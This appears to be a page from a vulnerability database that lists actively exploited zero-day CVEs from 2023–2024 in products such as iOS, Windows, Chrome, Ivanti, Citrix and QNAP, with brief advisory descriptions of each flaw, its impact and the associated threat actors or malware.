Zero-day Vulnerability Database

Change view

Zero-day vulnerabilities discovered: 735

Multiple vulnerabilities in Apple iOS 17 and iPadOS 17
CVE-2024-23296

Buffer overflow

The vulnerability allows a local application to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in RTKit. A malicious application can trigger memory corruption and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2024-23225

Buffer overflow

The vulnerability allows a local application to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error within the OS kernel. A malicious application can trigger memory corruption and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Microsoft Windows Kernel
CVE-2024-21338

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the appid.sys AppLocker driver. A local user can trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Multiple vulnerabilities in ConnectWise ScreenConnect
CVE-2024-1709

Authentication bypass using an alternate path or channel

The vulnerability allows a remote attacker to bypass authentication.

The vulnerability exists due to improper authentication. A remote non-authenticated attacker can bypass authentication process and gain full access to the system.

Note, the vulnerability is being actively exploited in the wild.

Software: ScreenConnect

Privilege escalation in Microsoft Exchange Server
CVE-2024-21410

Exposure of Resource to Wrong Sphere

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to an error in Microsoft Exchange Server. A remote attacker can target an NTLM client such as Outlook with an NTLM credentials-leaking type vulnerability. The leaked credentials can then be relayed against the Exchange server to gain privileges as the victim client and to perform operations on the Exchange server on the victim's behalf.

Note, the vulnerability is being actively exploited in the wild.

Software: Microsoft Exchange Server

Two OS command injection vulnerabilities in QNAP QTS and QuTS hero
CVE-2023-50358

OS Command Injection

The vulnerability allows a remote user to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation. A remote authenticated user can pass specially crafted data to the application and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: QNAP QTS

Security restrictions bypass when handling shortcuts in Microsoft Windows
CVE-2024-21412

Security features bypass

The vulnerability allows a remote attacker to bypass implemented security restrictions.

The vulnerability exists due to improper input validation when handling Internet shortcut files. A remote attacker can trick the victim into clicking on a specially crafted shortcut file and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Security restrictions bypass in Microsoft Windows SmartScreen
CVE-2024-21351

Security features bypass

The vulnerability allows a remote attacker to bypass implemented security restrictions.

The vulnerability exists due to improper input validation when handling files downloaded from the Internet. A remote attacker can bypass the SmartScreen protection feature and trick the victim into launching a malicious files on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in FortiOS SSL-VPN
CVE-2024-21762

Out-of-bounds write

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing HTTP requests in sslvpnd. A remote attacker can send specially crafted HTTP requests to the SSL-VPN service, trigger an out-of-bounds write and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: FortiOS

Multiple vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways
CVE-2024-21893

Server-Side Request Forgery (SSRF)

The disclosed vulnerability allows a remote attacker to perform SSRF attacks.

The vulnerability exists due to insufficient validation of user-supplied input within the SAML component. A remote attacker can send a specially crafted HTTP request and trick the application to initiate requests to arbitrary systems.

Successful exploitation of this vulnerability may allow a remote attacker gain access to sensitive data, located in the local network or send malicious requests to other servers from the vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Pulse Connect Secure

Multiple vulnerabilities in Hitron Systems Security Camera DVRs
CVE-2024-23842

Use of default credentials

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to usage of default administrative credentials. A remote attacker can use default credentials to compromise the affected device.

Note, the vulnerability is being actively exploited in the wild by the Mirai botnet.

Software: DVR LGUVR-16H

Known/fameous malware:

Mirai

Multiple vulnerabilities in Hitron Systems Security Camera DVRs
CVE-2024-22772

Use of default credentials

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to usage of default administrative credentials. A remote attacker can use default credentials to compromise the affected device.

Note, the vulnerability is being actively exploited in the wild by the Mirai botnet.

Software: DVR LGUVR-8H

Known/fameous malware:

Mirai

Multiple vulnerabilities in Hitron Systems Security Camera DVRs
CVE-2024-22771

Use of default credentials

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to usage of default administrative credentials. A remote attacker can use default credentials to compromise the affected device.

Note, the vulnerability is being actively exploited in the wild by the Mirai botnet.

Software: DVR LGUVR-4H

Known/fameous malware:

Mirai

Multiple vulnerabilities in Hitron Systems Security Camera DVRs
CVE-2024-22770

Use of default credentials

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to usage of default administrative credentials. A remote attacker can use default credentials to compromise the affected device.

Note, the vulnerability is being actively exploited in the wild by the Mirai botnet.

Software: DVR HVR-16781

Known/fameous malware:

Mirai

Multiple vulnerabilities in Hitron Systems Security Camera DVRs
CVE-2024-22769

Use of default credentials

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to usage of default administrative credentials. A remote attacker can use default credentials to compromise the affected device.

Note, the vulnerability is being actively exploited in the wild by the Mirai botnet.

Software: DVR HVR-8781

Known/fameous malware:

Mirai

Multiple vulnerabilities in Hitron Systems Security Camera DVRs
CVE-2024-22768

Use of default credentials

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to usage of default administrative credentials. A remote attacker can use default credentials to compromise the affected device.

Note, the vulnerability is being actively exploited in the wild by the Mirai botnet.

Software: DVR HVR-4781

Known/fameous malware:

Mirai

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2024-23222

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a type confusion error when processing HTML content. A remote attacker can trick the victim to open a specially crafted website, trigger a type confusion error and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway
CVE-2023-6549

Buffer overflow

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to a boundary error. A remote attacker can send specially crated packets to the system, trigger memory corruption and perform a denial of service (DoS) attack.

Successful exploitation of this vulnerability requires that the device is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAAvirtualserver.

Note, the vulnerability is being actively exploited in the wild.

Software: Citrix NetScaler Gateway

Multiple vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway
CVE-2023-6548

Code Injection

The vulnerability allows a remote user to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation within the management interface. A remote authenticated user can send a specially crafted request to the application and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Citrix NetScaler Gateway

Multiple vulnerabilities in Google Chrome
CVE-2024-0519

Buffer overflow

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to a boundary error in V8 in Google Chrome. A remote attacker can trick the victim to visit a specially crafted webpage, trigger a stack-based buffer overflow and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways
CVE-2024-21887

OS Command Injection

The vulnerability allows a remote user to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation. A remote authenticated administrator can pass specially crafted data to the application and execute arbitrary OS commands on the target system. However this vulnerability can be exploited by a non-authenticated attacker using authentication bypass vulnerability #VU85286 (CVE-2023-46805).

Note, the vulnerability is being actively exploited in the wild.



Software: Pulse Connect Secure

Multiple vulnerabilities in Ivanti Connect Secure and Ivanti Policy Secure gateways
CVE-2023-46805

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to an error when processing authentication requests. A remote attacker can bypass authentication process and gain unauthorized access to the application.

Note, the vulnerability is being actively exploited in the wild.

Software: Pulse Connect Secure

Remote code execution in Barracuda Email Security Gateway Appliance (ESG)
CVE-2023-7102

Exposed dangerous method or function

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper input validation within the third-party Perl library Spreadsheet::ParseExcel used to parse Excel files. A remote attacker can send a specially crafted email with a malicious file inside and execute arbitrary code on the device.

Note, the vulnerability is being actively exploited in the wild.

i

It is believed that behind vulnerability exploitation is the China nexus actor tracked as UNC4841.

Software: Email Security Gateway (ESG)

Known/fameous malware:

SEASPY, SALTWATER

It is believed that behind vulnerability exploitation is the China nexus actor tracked as UNC4841.

Remote code execution in Google Chrome
CVE-2023-7024

Heap-based buffer overflow

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing untrusted HTML content in WebRTC. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Embedded malicious code in Ledger Connect Kit

Embedded malicious code (backdoor)

The vulnerability allows a remote attacker to gain unauthorized access to the application.

The vulnerability exists due to presence of embedded malicious functionality in the application code (aka backdoor) that allows a remote attacker to drain crypto assets from users' wallets.

Note, the vulnerability is being actively exploited in the wild.

Software: connect-kit

OS Command Injection in QNAP QVR Firmware
CVE-2023-47565

OS Command Injection

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation within QNAP VioStor NVR models running QVR firmware. A remote user can pass specially crafted data to the application and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild by the Mirai-based botnet named InfectedSlurs.

Software: QVR

Known/fameous malware:

InfectedSlurs

OS Command Injection in FXC routers
CVE-2023-49897

OS Command Injection

The vulnerability allows a remote attacker to execute arbitrary shell commands on the target system.

The vulnerability exists due to improper input validation. A remote user on the local network can pass specially crafted data to the application and execute arbitrary OS commands on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild by the Mirai-based botnet named InfectedSlurs.

Software: AE1021

Known/fameous malware:

InfectedSlurs

Multiple vulnerabilities in Apple iOS 17 and iPadOS 17
CVE-2023-42917

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content. A remote attacker can create a specially crafted website, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS 17 and iPadOS 17
CVE-2023-42916

Out-of-bounds read

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing untrusted input. A remote attacker can create a specially crafted website, trick the victim into opening it, trigger an out-of-bounds read and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Google Chrome
CVE-2023-6345

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to integer overflow in Skia component in Google Chrome. A remote attacker can trick the victim to open a specially crafted web page, trigger an integer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Use of default credentials in Unitronics Vision Series PLCs and HMIs
CVE-2023-6448

Use of default credentials

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to Unitronics Vision Series PLCs and HMIs use default administrative passwords. A remote attacker with network access to a PLC or HMI can gain administrative control over the system.

Note, the vulnerability is being actively exploited in the wild.


Not patched

Software: Unitronics Vision

Privilege escalation in Microsoft Windows DWM Core Library
CVE-2023-36033

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error in Windows DWM Core Library. A local user can trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Software: Windows

Security restrictions bypass in Microsoft Windows SmartScreen
CVE-2023-36025

Security features bypass

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to an error in Windows SmartScreen feature. A remote attacker can trick the victim to click on a specially crafted .url file and execute arbitrary code on the system.

Software: Windows

Privilege escalation in Microsoft Windows Cloud Files Mini Filter Driver
CVE-2023-36036

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error in Windows Cloud Files Mini Filter Driver. A local user trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Path traversal in SysAid
CVE-2023-47246

Path traversal

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to input validation error when processing directory traversal sequences. A remote attacker can upload and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild by the Lace Tempest (DEV-0950) actor.

i

The vulnerability was exploited by the Lace Tempest (DEV-0950) APT actor.

Software: SysAid

The vulnerability was exploited by the Lace Tempest (DEV-0950) APT actor.

Multiple vulnerabilities in VMware vCenter Server
CVE-2023-34048

Out-of-bounds write

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error within the DCERPC protocol implementation. A remote non-authenticated attacker can send a specially crafted RPC request to the vCenter Server, trigger an out-of-bounds write and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild since late 2021.

i

The vulnerability was used since late 2021 by a Chinese threat actor UNC3886.

Software: vCenter Server

Known/fameous malware:

VIRTUALPITA, VIRTUALPIE

The vulnerability was used since late 2021 by a Chinese threat actor UNC3886.

Multiple vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway
CVE-2023-4966

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error. A remote non-authenticated attacker can send specially crafted data to the device, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system but requires that the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or as AAAvirtualserver.

Note, the vulnerability is being actively exploited in the wild since August 2023.

Software: Citrix NetScaler Gateway

Multiple vulnerabilities in Cisco IOS XE Web UI software
CVE-2023-20198

Improper Privilege Management

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper privilege management in the web UI feature. A remote non-authenticated attacker can send a specially crafted HTTP request to the affected device and create an account with privilege level 15 access.

Note, the vulnerability is being actively exploited in the wild.

Software: Cisco IOS XE

Unauthenticated arbitrary file upload in Royal Elementor Addons plugin for WordPress
CVE-2023-5360

Arbitrary file upload

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to insufficient validation of file during file upload. A remote attacker can upload a malicious file and execute it on the server.

Note, the vulnerability is being actively exploited in the wild.

Software: Royal Elementor Addons

Cross-site scripting in Roundcube
CVE-2023-5631

Cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data when processing SVG files in program/lib/Roundcube/rcube_washtml.php. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note, the vulnerability is being actively exploited in the wild.

Software: Roundcube

Disclosure of NTLM hashes in Microsoft WordPad
CVE-2023-36563

Information disclosure

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to disclosure of NTLM hashes in WordPad. A remote attacker can trick the victim to open a specially crafted file and gain access to sensitive information.

Note, the vulnerability is being exploited in the wild.

Software: Windows

Information disclosure in Skype for Business server
CVE-2023-41763

Information disclosure

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to excessive data output by the application. A remote attacker can gain unauthorized access to IP addresses or port numbers or both to the attacker.

Note, the vulnerability is being actively exploited in the wild.

Software: Skype for Business Server

Remote code execution in Confluence Data Center and Server
CVE-2023-22515

Improper Authentication

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to missing authentication at the "/setup/setupadministrator.action" endpoint. A remote non-authenticated attacker can send specially crafted requests to the server to create an administrative account and gain unauthorized access to the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Confluence Data Center

Multiple vulnerabilities in Apple iOS 17 and iPadOS 17
CVE-2023-42824

Buffer overflow

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the OS kernel. A local application can trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Qualcomm firmware
CVE-2023-33063

Use-after-free

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a use-after-free error during a remote call from HLOS to DSP. A local user can trigger a use-after-free error and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Firmware

Multiple vulnerabilities in Qualcomm firmware
CVE-2023-33107

Integer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to integer overflow while assigning shared virtual memory region during IOCTL call. A local user can trigger an integer overflow and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Firmware

Multiple vulnerabilities in Qualcomm firmware
CVE-2023-33106

Use of Out-of-range Pointer Offset

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error while submitting a large list of sync points in an AUX command to the IOCTL_KGSL_GPU_AUX_COMMAND. A local user can trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Firmware

Multiple vulnerabilities in Google Chrome
CVE-2023-5217

Heap-based buffer overflow

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing untrusted HTML content in vp8 encoding in libvpx. A remote attacker can create a specially crafted web page, trick the victim into opening it, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Remote code execution in Cisco IOS and IOS XE Software Cisco Group Encrypted Transport VPN Software
CVE-2023-20109

Out-of-bounds write

The vulnerability allows a remote user to compromise vulnerable system.

The vulnerability exists due to┬аinsufficient validation of attributes in the Group Domain of Interpretation (GDOI) and G-IKEv2 protocols within the Cisco Group Encrypted Transport VPN (GET VPN) feature. A remote authenticated user with administrative control of either a group member or a key server can trigger an out-of-bounds write and execute arbitrary code on the target system.

Note, the vulnerability has been exploited in the wild.

Software: Cisco IOS

Multiple vulnerabilities in Apple iOS 16 and iPadOS 16
CVE-2023-41992

Input validation error

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to insufficient validation of user-supplied input within the OS kernel. A local application can execute arbitrary code on the system with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Privilege escalation in Trend Micro Apex One and Worry-Free Business
CVE-2023-41179

OS Command Injection

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to improper input validation within the third-party AV uninstaller module shipped with the software. A local user can execute arbitrary commands with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apex One

Security features bypass in Google Pixel
CVE-2023-4211

Use-after-free

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a use-after-free error within Mali GPU Kernel Driver. A local application can trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Pixel

Privilege escalation in Microsoft Streaming Service Proxy
CVE-2023-36802

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Microsoft Streaming Service Proxy. A local user can trigger memory corruption and execute arbitrary code with SYSTEM privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Information disclosure in Microsoft Word
CVE-2023-36761

Information disclosure

The vulnerability allows a remote attacker to gain access to potentially sensitive information.

The vulnerability exists due to the application ca reveal sensitive information to a third-party. A remote attacker can trick the victim to open or preview a specially crafted file and obtain NTLM hash of the current account.

Note, the vulnerability is being actively exploited in the wild.

Software: Microsoft Word

Remote code execution in Adobe Acrobat and Reader
CVE-2023-26369

Out-of-bounds write

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing PDF. A remote attacker can create a specially crafted PDF file, trick the victim into opening it using the affected software, trigger an out-of-bounds write and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Adobe Reader

Remote code execution in Google Chrome
CVE-2023-4863

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing WebP images within libwebp library. A remote attacker can trick the victim to visit a malicious website, trigger a heap-based buffer overflow and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system. The vulnerability affects all modern browsers that support WebP image processing.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Chrome

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2023-41061

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insufficient validation of user-supplied input in Wallet. A remote attacker can trick the victim to open a specially crafted attachment and execute arbitrary code on the system.

Note, the vulnerability is being exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS and iPadOS
CVE-2023-41064

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in ImageIO subsystem. A remote attacker can create a specially crafted file, trick the victim into opening it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Authentication bypass using an alternate path or channel in Cisco Adaptive Security Appliance and Firepower Threat Defense
CVE-2023-20269

Authentication bypass using an alternate path or channel

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to improper separation of authentication, authorization, and accounting (AAA) between the remote access VPN feature and the HTTPS management and site-to-site VPN features. A remote user can perform a brute-force attack and establish a clientless SSL VPN session with an unauthorized user.

Note, the vulnerability is being actively exploited in the wild.

Software: Cisco Adaptive Security Appliance (ASA)

Multiple vulnerabilities in Google Android
CVE-2023-35674

Improper input validation

The vulnerability allows a local application to execute arbitrary code.

The vulnerability exists due to improper input validation within the Framework component. A local application can execute arbitrary code.

Note, the vulnerability is being actively exploited in the wild.

Software: Google Android

API authentication bypass in Ivanti Sentry
CVE-2023-38035

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to missing authentication on certain APIs. A remote attacker can send a specially crafted HTTP request to port 8443/TCP, bypass authentication process and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: MobileIron Sentry

Path traversal in Terrasoft CRM

Path traversal

The vulnerability allows a remote attacker to perform directory traversal attacks.

The vulnerability exists due to input validation error when processing directory traversal sequences. A remote non-authenticated attacker can send a specially crafted HTTP request and read arbitrary files on the system.

Note, the vulnerability is being actively exploited in the wild.

Not patched

Denial of service in ASP .NET and Visual Studio
CVE-2023-38180

Input validation error

The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.

The vulnerability exists due to insufficient validation of user-supplied input. A remote attacker can send  specially crafted input to the application and perform a denial of service (DoS) attack.

Note, the vulnerability is being actively exploited in the wild.

Software: ASP.NET Core

File extension spoofing in WinRAR
CVE-2023-38831

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insufficient validation of file names inside .zip archives. A remote attacker can create a specially crafted archive that contains executable malicious files and spoof their file extension to look like .jpeg or .txt.

Note, the vulnerability is being actively exploited in the wild as of April 2023.

Software: WinRAR

Known/fameous malware:

DarkMe, GuLoader, RAT

Arbitrary file overwrite in Ivanti Endpoint Manager Mobile
CVE-2023-35081

Path traversal

The vulnerability allows a remote user to perform directory traversal attacks.

The vulnerability exists due to input validation error when processing directory traversal sequences. A remote privileged user can send a specially crafted HTTP request and overwrite arbitrary files and compromise the affected system.

Note, this vulnerability is being actively exploited in the wild.

Software: Endpoint Manager Mobile (formerly MobileIron Core)

Authentication bypass in Ivanti Endpoint Manager Mobile (formerly MobileIron Core)
CVE-2023-35078

Improper Authentication

The vulnerability allows a remote attacker to bypass authentication process.

The vulnerability exists due to an unspecified error in the authentication process. A remote attacker can bypass authentication and gain unauthorized access to the application.

Note, the vulnerability is being actively exploited in the wild as per Ivanti customers. The company at the moment did not comment on the incident and concealed all information about this vulnerability.

Software: Endpoint Manager Mobile (formerly MobileIron Core)

Multiple vulnerabilities in Apple iOS 15 and iPadOS 15
CVE-2023-41990

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error in FontParser. A remote attacker can trick the victim to open a specially crafted file or visit a malicious website, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Apple iOS 15 and iPadOS 15
CVE-2023-38606

Buffer overflow

The vulnerability allows a local application to escalate privileges on the system.

The vulnerability exists due to a boundary error within the OS kernel. A local application can trigger memory corruption and execute arbitrary code with elevated privileges.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Multiple vulnerabilities in Adobe ColdFusion
CVE-2023-38205

Improper access control

The vulnerability allows a remote attacker to gain unauthorized access to otherwise restricted functionality.

The vulnerability exists due to improper access restrictions. A remote non-authenticated attacker can bypass implemented security restrictions and gain unauthorized access to the application.

Note, the vulnerability is being actively exploited in the wild.

Software: ColdFusion

Multiple vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway
CVE-2023-3519

Code Injection

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper input validation when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAAтАпvirtualтАпserver. A remote non-authenticated attacker can send a specially crafted request and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Citrix Netscaler ADC

Reflected XSS in Zimbra Collaboration Suite
CVE-2023-37580

Cross-site scripting

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data in the Zimbra Classic Web Client. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

Note, the vulnerability is being exploited in the wild.

Software: Zimbra Collaboration

Multiple vulnerabilities in Rockwell Automation ControlLogix EtherNet/IP (ENIP) communication modules
CVE-2023-3595

Out-of-bounds write

The vulnerability allows a remote attacker to compromise vulnerable system.

The vulnerability exists due to a boundary error when processing CIP messages. A remote attacker can send specially crafted CIP messages to ports 44818/TCP or 2222/UDP, trigger an out-of-bounds write and execute arbitrary code.

Note, the vulnerability is most likely being exploited in the wild.

Software: 1756-EN2T Series A

Remote code execution in Microsoft Office and Windows HTML
CVE-2023-36884

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insufficient validation of user-supplied input when handling cross-protocol file navigation. A remote attacker can trick the victim to open a specially crafted file and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

i

The vulnerability was exploited by the treat actor Storm-0978 (also known as DEV-0978 or RomCom) against defense and government entities in Europe and North America.

Software: Windows

The vulnerability was exploited by the treat actor Storm-0978 (also known as DEV-0978 or RomCom) against defense and government entities in Europe and North America.

Remote code execution in Microsoft Outlook
CVE-2023-35311

Input validation error

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to insufficient validation of user-supplied input. A remote attacker can trick the victim to click on a specially crafted URL, bypass the Microsoft Outlook Security Notice prompt and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Microsoft Outlook

Privilege escalation in Microsoft Windows Error Reporting Service
CVE-2023-36874

Buffer overflow

The vulnerability allows a local user to escalate privileges on the system.

The vulnerability exists due to a boundary error within the Windows Error Reporting Service. A local user can use a specially crafted performance trace to trigger memory corruption and execute arbitrary code on the target system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Security restrictions bypass in Windows SmartScreen
CVE-2023-32049

Security features bypass

The vulnerability allows a remote attacker to compromise the affected system.

The vulnerability exists due to improper validation of URLs in Windows SmartScreen. A remote attacker can trick the victim to visit a specially crafted URL, bypass the Open File - Security Warning prompt and execute arbitrary code on the system.

Note, the vulnerability is being actively exploited in the wild.

Software: Windows

Remote code execution in Windows MSHTML Platform
CVE-2023-32046

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content in Windows MSHTML Platform. A remote attacker can trick the victim to open a specially crafted file, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Microsoft Internet Explorer

Remote code execution in Apple iOS 16 and iPadOS 16
CVE-2023-37450

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a boundary error when processing HTML content in WebKit. A remote attacker can create a specially crafted website, trick the victim into visiting it, trigger memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note, the vulnerability is being actively exploited in the wild.

Software: Apple iOS

Improper authorization in Ultimate Member plugin for WordPress
CVE-2023-3460

Improper Authorization

The vulnerability allows a remote attacker to compromise the affected website.

The vulnerability exists due to improper authorization within the registration functionality. A remote non-authenticated attacker can register a rouge administrative account and compromise the web application.

